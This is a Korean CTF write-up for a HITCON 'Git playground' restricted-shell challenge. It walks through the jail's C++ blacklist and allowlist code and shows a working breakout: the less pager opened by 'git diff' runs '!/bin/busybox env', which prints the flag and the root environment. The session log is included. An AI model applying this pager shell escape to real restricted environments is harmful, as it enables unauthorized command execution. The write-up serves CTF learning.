주어진 jail.cpp 코드를 살펴보면,

```
bool blacklist(const string &cmd) {
  string lst[] = {"sh"s, "env"s, "hook"s};
  for (auto &s : lst) {
    if (cmd.find(s) != string::npos) {
      return 1;
    }
  }
  return 0;
}
```

blacklist 함수로 sh, env, hook과 같은 문자열의 입력을 차단한다.

```
bool check(vector<string> &args) {
  if (args[0] == "git") {
    if (args.size() == 1) {
      return 1;
    }
    if (args[1] == "add") {
      if (args.size() != 3) {
        return 0;
      }
      return check_path_under_work(args[2]);
    } else if (args[1] == "commit") {
      if (args.size() < 4 || args[2] != "-m") {
        return 0;
      }
      string comment;
      for (int i = 3; i < (int)args.size(); i++) {
        comment += move(args[i]) + " ";
      }
      comment.pop_back();
      args.erase(args.begin() + 3, args.end());
      args.push_back(move(comment));
      return check_basic_charset(comment);
    } else if (args[1] == "status") {
      return args.size() == 2;
    } else if (args[1] == "log" || args[1] == "diff") {
      return args.size() == 2 ||
             (args.size() == 3 &&
              (check_path_under_work(args[2]) || check_commit(args[2])));
    } else if (args[1] == "show") {
      return args.size() == 2 || (args.size() == 3 && check_commit(args[2]));
    }
  } else if (args[0] == "touch" || args[0] == "cat" || args[0] == "rm" ||
             args[0] == "mkdir") {
    return args.size() == 2 && check_path_under_work(args[1]);
  } else if (args[0] == "ls") {
    return args.size() == 1 ||
           (args.size() == 2 && check_path_under_work(args[1]));
  } else if (args[0] == "rmdir") {
    return args.size() == 2 && check_path_under_work(args[1]) &&
           args[1] != "/work";
  } else if (args[0] == "cp" || args[0] == "mv") {
    return args.size() == 3 && check_path_under_work(args[1]) &&
           check_path_under_work(args[2]);
  }
  return 0;
}
```

위의 check함수와

```cpp
int main() {
  init();
  banner();
  while (true) {
    cout << "Enter your command: " << flush;
    string cmd;
    if (!getline(cin, cmd)) {
      break;
    }
    if (blacklist(cmd)) {
      cout << "Dont't try to hack me\n";
      continue;
    }
    vector<string> args = parse(cmd);
    if (args.empty()) {
      continue;
    }
    if (args[0] == "cd" && args.size() == 2 && check_path_under_work(args[1])) {
      chdir(args[1].data());
    } else if (args[0] == "pwd" && args.size() == 1) {
      cout << filesystem::current_path().lexically_relative("/work").string()
           << '\n';
    } else if (args[0] == "echo") {
      if (args.size() >= 3) {
        string write_path;
        bool overwrite = 0;
        if ((args[(int)args.size() - 2] == ">" ||
             args[(int)args.size() - 2] == ">>") &&
            check_path_under_work(args[(int)args.size() - 1])) {
          write_path = args.back();
          args.pop_back();
          if (args.back() == ">") {
            overwrite = 1;
          }
          args.pop_back();
        }
        string data;
        for (int i = 1; i < (int)args.size(); i++) {
          data += move(args[i]) + " ";
        }
        data.pop_back();
        if (!check_printable_charset(data)) {
          cout << "Invalid command\n";
        } else if (write_path.empty()) {
          cout << data << "\n";
        } else {
          ofstream ofs(write_path,
```

```
                ios::out | (overwrite ? ios::trunc : ios::app));
            if (ofs.is_open()) {
              ofs << data << "\n";
              ofs.close();
            } else {
              cout << "Error opening file\n";
            }
          }
        }
      } else if (check(args)) {
        exec(args);
      } else {
        cout << "Invalid command\n";
      }
    }
    cout << "Bye!\n";
    return 0;
}
```

main 함수에서 살펴보면 blacklist의 명령어는 차단하고, cd, echo는 따로 실행하는 것과 check 내에 있는 명령어들은 exec을 통해 실행하는 것을 볼 수 있다.

```
void init() {
  chdir("/work");
  setenv("PATH", "/bin", 1);
  setenv("SHELL", "/bin/sh", 1);
  setenv("LESS", "-Rd", 1);
  char *const git_init[] = {"git", "init", "-b", "main", NULL};
  exec(git_init);
  char *const git_config_email[] = {
      "git", "config", "--global", "user.email", "hitconctf@hitcon.com", NULL};
  exec(git_config_email);
  char *const git_config_name[] = {"git",       "config",    "--global",
                                   "user.name", "hitconctf", NULL};
  exec(git_config_name);
}
```

또한 init()에서 LESS가 -Rd로 설정되어 있는데 이는 git diff와 같은 명령어들을 페이지 단위로 볼 수 있도록 한다.

우리는 git diff로 less 페이저가 실행되었을 때 !로 명령어를 넣을 수 있는 기능을 이용하여 플래그를 출력하게 만들 것이다.

```
(END)Connection to git-playground.chal.hitconctf.com closed.
ubuntu@JH:~$ ssh -p 50087 root@git-playground.chal.hitconctf.com
warning: templates not found in //share/git-core/templates
Initialized empty Git repository in /work/.git/
====================================
Hello! Welcome to the Git playground!
====================================
Enter your command: touch a
Enter your command: git add a
Enter your command: git commit -m "initial commit"
[main (root-commit) f6b7cd3] "initial commit"
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 a
Enter your command: git diff HEAD
!/bin/busybox env
```

```
ubuntu@JH:~$ ssh -p 50087 root@git-playground.chal.hitconctf.com
warning: templates not found in //share/git-core/templates
Initialized empty Git repository in /work/.git/
====================================
Hello! Welcome to the Git playground!
====================================
Enter your command: touch a
Enter your command: git add a
Enter your command: git commit -m "initial commit"
[main (root-commit) f6b7cd3] "initial commit"
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 a
Enter your command: git diff HEAD
!/bin/busybox env
FLAG=hitcon{Bu5yb0X_34511y_cR4sH_Wh3N_bu117_w17h_C14Ng?}
SSH_CONNECTION=125.250.205.150 51656 10.10.0.18 22
PWD=/work
SHELL=/bin/sh
PATH=//libexec/git-core:/bin
COLUMNS=120
TERM=xterm-256color
LOGNAME=root
LV=-c
GIT_PREFIX=
SSH_TTY=/dev/pts/7
HOME=/root
LESS=-Rd
MOTD_SHOWN=pam
SHLVL=3
GIT_EXEC_PATH=//libexec/git-core
SSH_CLIENT=125.250.205.150 51656 22
USER=root
MAIL=/var/spool/mail/root
!done  (press RETURN)
```

그 결과는 위와 같고 플래그를 확인할 수 있다.